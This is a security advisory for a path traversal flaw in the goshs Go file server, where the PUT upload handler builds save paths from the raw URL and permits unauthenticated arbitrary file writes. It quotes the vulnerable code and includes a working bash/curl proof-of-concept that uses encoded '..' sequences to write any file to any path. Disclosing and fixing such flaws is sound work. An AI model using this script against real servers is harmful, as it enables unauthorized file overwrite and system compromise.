Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload

Critical **patrickhener** published **GHSA-g8mv-vp7j-qp64** 4 days ago

Package

goshs (Go)

Affected versions

<=v2.0.0-beta.2

Patched versions

v2.0.0-beta.3

Description

Summary

- PUT upload has no path sanitization | `httpserver/updown.go:20-69`

This finding affects the default configuration, no flags or authentication required.

Details

File: `httpserver/updown.go:20-69`
Trigger: `PUT /<path>` (server.go:57-59 routes directly to `put()`)

The handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.

```
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
    upath := req.URL.Path                              // unsanitized

    filename := strings.Split(upath, "/")
    outName := filename[len(filename)-1]

    targetpath := strings.Split(upath, "/")
    targetpath = targetpath[:len(targetpath)-1]
    target := strings.Join(targetpath, "/")
```

```
    savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
    // ...
    os.Create(savepath)                                  // arbitrary path write
```

`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.

Impact: Unauthenticated arbitrary file write anywhere on the filesystem.

PoCs:

```
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / from target
TARGET_REL="${TARGET#/}"

PUT_PATH="/${TRAVERSAL}${TARGET_REL}"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] PUT:     ${PUT_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X PUT --data-binary "@${LOCAL_FILE}" \
    "http://${HOST}:${PORT}${PUT_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
```

To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.

Severity

Critical 9.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-35392

Weaknesses

▶ CWE-22

Credits

autobot23920 Reporter